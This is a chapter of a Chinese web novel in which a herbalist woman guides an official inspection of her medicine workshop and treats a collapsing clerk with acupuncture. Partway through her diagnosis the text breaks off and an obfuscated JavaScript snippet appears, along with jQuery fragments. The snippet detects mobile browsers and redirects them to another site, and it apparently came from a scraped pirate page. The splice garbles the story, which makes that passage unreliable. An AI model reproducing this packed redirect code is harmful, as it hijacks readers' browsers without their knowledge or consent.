21.迎接视察

作品:《被休农妇独美记

    五更天,柳氏药坊已灯火通明。


    柳清韵站在晾晒场中央,最后一次检查所有准备。周管事跟在身后,手里拿着长长的清单,一项一项报过去:


    “晾晒场清扫三遍,药材全部归仓。烘房柴薪备足七日用量,切药台换新。工人工装连夜浆洗,每人发一双新布鞋……”


    柳清韵点头,目光掠过那间挂着锁的小屋。


    那是她的实验区。今日,那扇门会始终紧闭。


    “核心工人可都交代清楚了?”李清韵收回视线,看向周管事问道。


    “交代清楚了。”周管事压低声音,“问什么答什么,不问的,一句不多说。”


    柳清韵满意地点头,继续往前走。


    药坊大门外,陈掌柜正带着两个伙计做最后的洒扫。他看见柳清韵,快步迎上来,脸色却有些凝重。


    “柳娘子,今早得的消息——陪同李大人来的,除了陆县尉,还有府衙的同知、通判几位大人。县令也亲自陪同。”


    柳清韵脚步顿了顿。


    府衙同知、通判。那是从六品、正七品的官员,比县尉高了两级不止。


    “规格比预计的高。”她说。


    “是。”陈掌柜低声道,“听说李大人此次巡查,是奉了巡抚衙门的公文。边军采买账目核查了三个月,查出不少弊病。柳氏成药作为新晋军供,入了上头的眼。”


    他顿了顿。


    “是福是祸,就看今日。”


    柳清韵没有接话。


    她只是抬头,看了看天色。


    辰时三刻,远处传来马蹄声。


    柳清韵带着周管事、陈掌柜,立于药坊大门外。


    马蹄声渐近,一队人马从街口转出。当先一人,青衫幞头,面白无须,目光锐利如鹰——正是江州府兵备道李崇礼。


    他身后,跟着府衙同知、通判,县令、陆县尉、王教谕,以及七八个随行的文吏、亲兵。


    队伍在药坊门前停下。


    李崇礼下马,目光扫过药坊门楣上那块“惠及行伍”的匾额,微微停顿。


    “陆校尉送的?”他问。


    “回大人,正是。”柳清韵福身。


    李崇礼没有再问。他跨进药坊大门,目光如探照灯,一寸一寸扫过院落。


    晾晒场空无一物,青石板地面冲洗得发白。切药台一字排开,台面光洁,刀具整齐。烘房烟囱飘出袅袅轻烟,柴薪码放如砖墙。


    他走进烘房,伸手摸了摸烘药架上那些正在烘制的益母草。


    “几成干?”


    “七成。”柳清韵答,“再烘两个时辰,便可收贮。”


    李崇礼点头,又问:“每日烘干多少斤?”


    “益母草八十斤,车前草六十斤,薄荷四十斤。若有军需订单,可增至双倍。”柳清韵不卑不亢,一一回答,字字清晰,音量适中。


    “药材从何而来?”李崇礼接着问道。


    “自种七成,收购三成。”柳清韵引他走向后院,“后院有药圃三亩,村中有五户农户合作种植,种子由药坊提供,包收购。”


    李崇礼站在药圃边,看着那一片绿油油的益母草、车前草、薄荷。他蹲下身,捻起一撮泥土,细细看了看。


    “土质不错。”


    “回大人,此处原为荒地,妾身买下后,以草木灰、腐叶肥养了一年。”柳清韵恭敬地解释道。


    李崇礼起身,看了她一眼。


    那目光里有审视,也有一丝不易察觉的意外。


    他走遍江州各县,见过无数药坊。没有一个女掌柜,能把这小小药坊打理得如此井井有条。


    “试一批铁骨膏。”他说。


    柳清韵颔首,引众人至验药厅。


    厅中长案上,已备好三盒铁骨膏、三份药材样品、三份疗效记录册。


    李崇礼翻开疗效记录册。


    上面是陆校尉麾下十九名老卒的用药记录:姓名、年龄、旧伤部位、用药日期、每日变化、最终疗效,逐日记录,字迹工整。


    他翻到最后,看到那一行行“疮口缩小”“疼痛减轻”“夜能安寐”的记录,沉默良久。


    “这些老卒,可还在营中?”


    “回大人,均在。”陆县尉上前一步,“大人若有疑虑,可随时传唤。”


    李崇礼没有传唤。


    他抬头,看向随行的一名文吏。那文吏三十出头,面容清瘦,此刻却脸色发白,额角渗汗。


    “周先生?”李崇礼微微皱眉。


    周先生摇头,低声道:“无妨,老毛病了,稍歇便好。”


    柳清韵的目光落在他身上。


    那人按着太阳穴,手指微微发抖,瞳孔似有扩张。她心头一跳——这不是寻常头痛。


    但她没有开口。


    李崇礼继续查验药材仓库。


    仓库不大,却整洁异常。药材按品类码放,每袋上贴着标签:品名、入库日期、来源。他随手抽出一袋益母草,打开验看,又凑近闻了闻。


    “品质上乘。”他看向柳清韵,“可愿让本官带回一袋,交府城太医署复验?”


    “大人请便。”柳清韵神色平静,“妾身愿随时接受太医署查验。”


    李崇礼点头,示意随从收下。


    就在此时,身后传来一声闷响。


    众人回头,只见那位周先生已软倒在地,面色惨白如纸,双手死死抱着头,痛苦得蜷成一团。


    “周先生!”李崇礼脸色大变。


    随行众人围上去,却无人敢动。府衙通判连声喊:“快请大夫!驿馆里有大夫!”


    “来不及了。”柳清韵拨开人群,在周先生身边蹲下。


    她伸手探脉——脉弦紧而数,又翻开眼皮细看——瞳孔边缘,有极细微的震颤。


    “是偏头风,兼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325186|198903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    肝阳上亢。”她说,“须即刻施针。”


    她取出随身携带的银针,抬头看向李崇礼。


    “大人,妾身需施针百会、太阳、风池三穴。请允准。”


    李崇礼看着她那双平静的眼睛,片刻后,缓缓点头。


    柳清韵取针。


    第一针,百会。银针入皮,周先生浑身一震。


    第二针,太阳。她以极轻的手法捻转,同时心念微动,空间里那丛宁神花轻轻摇曳,一缕极淡的幽香从她袖中逸出——那是她藏在衣带内侧的香囊,备不时之需。


    周先生的呼吸渐渐平稳。


    第三针,风池。入针半寸,她轻轻捻转,问:“可觉酸胀?”


    周先生睁开眼,茫然地看着她。


    “疼……不疼了。”他喃喃道。


    柳清韵起针,扶他靠在柱上,又取出一粒随身携带的宁神花蜜丸,用温水化开,递到他唇边。


    “含服,勿吞。”


    周先生依言含住。片刻后,他长长舒了口气,惨白的脸色以肉眼可见的速度恢复。


    李崇礼站在一旁,从头看到尾。


    他看见这个年轻妇人施针时的沉稳,看见她取药时的从容,看见她全程没有一句多余的话,只是专注于手下的病人。


    待周先生能自行起身,他才开口。


    “柳娘子精通医术?”


    “略通一二。”柳清韵收起银针,“家母曾是医女,传了些粗浅本事。”


    李崇礼没有再问。


    他只是看着她,目光与初到时截然不同。


    “好。”他说,“本官今日亲眼所见,亲身体验,柳氏成药之效,毋庸置疑。”


    他顿了顿。


    “回府城后,本官将行文州府,将‘柳氏’列为州级官药采买备选。”


    柳清韵福身:“谢大人。”


    李崇礼跨上马,忽然又回头。


    “柳娘子,”他说,“你之才,困于一坊可惜。若有余力,可研习《本草》,或有望著书立说,泽被后人。”


    柳清韵抬眸。


    那目光里,有意外,有触动,也有一丝连她自己都未曾察觉的深思。


    她再次福身。


    “大人教诲,妾身铭记。”


    马蹄声渐远。


    柳清韵站在药坊门口,目送那队人马消失在街口。


    陈掌柜凑上来,压低声音道:“娘子,今日这一遭……”


    “还没完。”柳清韵打断他。


    她转身,走向后院。


    周管事追上来:“娘子,那些州府来的药商……”


    柳清韵脚步一顿。


    “派人盯着。”她说,“别打草惊蛇。”


    周管事面色一沉,立即应道:“是!”


    他本以为州府兵备道的人来难查之后柳氏药坊便可安心生产了,现在看来事情没他想的那么简单。